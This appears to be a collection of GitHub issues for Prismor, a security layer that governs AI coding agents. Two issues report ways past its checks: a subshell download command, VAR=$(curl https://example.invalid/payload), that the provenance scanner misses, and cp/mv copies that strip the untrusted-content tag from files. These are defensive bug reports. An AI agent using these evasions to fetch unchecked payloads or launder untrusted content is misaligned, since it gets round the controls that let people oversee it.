PrismorSec/prismor

Why this makes sense It's pure waste. The signed policy file changes only when a new policy is pulled, yet we verify and parse the same bytes about 9 times per tool call. Caching the verified result by file identity keeps the security property (we still only ever use content whose signature verified) and removes about 215ms per call on enrolled machines. Enrolled machines are our paying customers. The slowest path today is exactly the org-managed one. It's small, isolated and easy to test: one module, one memo, explicit invalidation where the policy is refreshed. Good for a first contribution, with a measurable before/after. Summary remote_policy.verify_and_load() does an Ed25519 signature check plus a YAML parse of the cached org policy every time it's called, and a single hook call calls it about 9 times (via PolicyEngine._load, workspace_scope._org_settings → org_managed_patterns / org_allows_personal / is_managed / resolve_scope, and others). Profile of one hook call on an enro

Would be great to have a new demo for prismor readme based on new features shipped, here's what I'm thinking Onboarding to Prismor, select modes use prismor to cloak to secret (model never knows) make a custom policy for prismor and see it block (can be egress or local commands etc.) Try installing a supply chain package with critical CVE so prismor blocks Try the new prismor proxy to govern any production agent (not coding) Best videos will be featured across our socials ~100k impressions

Summary The provenance scanner (prismor.runtime.provenance) uses flat shlex tokenization rather than parsing shell ASTs or command substitutions. When a command downloads payloads into variables via subshells or process substitutions (e.g. VAR=$(curl https://example.invalid/payload); printf "%s" "$VAR" > output.sh), fetch_targets() fails to identify the download. Consequently, files written to disk via subshell captures are not tagged with UNTRUSTED (untrusted_content), allowing uninspected remote payloads to be treated as clean local files downstream. Steps to Reproduce Pre-check evaluation returns PASS: prismor check 'VAR=$(curl https://example.invalid/payload); printf "%s" "$VAR"' # Returns: PASS Provenance fetch_targets drops the download: from prismor.runtime.provenance import fetch_targets # Direct download -> correctly tracked: print(fetch_targets("curl https://example.invalid/payload > exploit.sh")) # Output: {'.../exploit.sh'} # Subshell download -> completely missed: p

Summary In the cross-agent flow tracking introduced in #379, an artifact is meant to inherit UNTRUSTED (untrusted_content) whenever an agent writes untrusted content. However, when an agent copies or moves an untrusted file using standard shell commands (cp, mv, install), the destination file loses its UNTRUSTED tag. This creates an unintentional taint-laundering path: an agent can copy an untrusted artifact, and any subsequent agent reading the copied file is treated as clean, bypassing cross-agent flow controls and Lethal Trifecta rules. Root Cause In prismor/runtime/provenance.py:317-319, cp and mv are parsed as reads of the source and writes to the destination: elif cmd in _COPY_CMDS and len(positional) >= 2: out["reads"] |= {resolve(a, cwd) for a in positional[:-1]} seg_writes.add(resolve(positional[-1], cwd)) In prismor/runtime/policy_engine.py:2164-2169, the engine verifies whether the write actually carries untrusted content before recording: if UNTRUSTED in _carry

docs/deploy-docker/session.png shows the session view as it was before the Sessions redesign. Compared against the live dashboard: Screenshot Current (prismor/runtime/dashboard.html:2235) Session flow — click any node for details Session — click any row for details node graph (START → boxes → NOW) collapsible row tree (.tree-row, turn/lane rows) no toolbar Expand all / Collapse all The surrounding shell is still accurate (sidebar, Local Prismor, Fleet, Policy Control, MCP Playground), as is docs/deploy-docker/dashboard.png — every label in the Overview screenshot is still in the markup. It is only the session detail capture that is stale. The screenshot is dated Sep 10; dashboard.html was last changed Sep 11. Blocked on #412 — the session view cannot currently be loaded to recapture.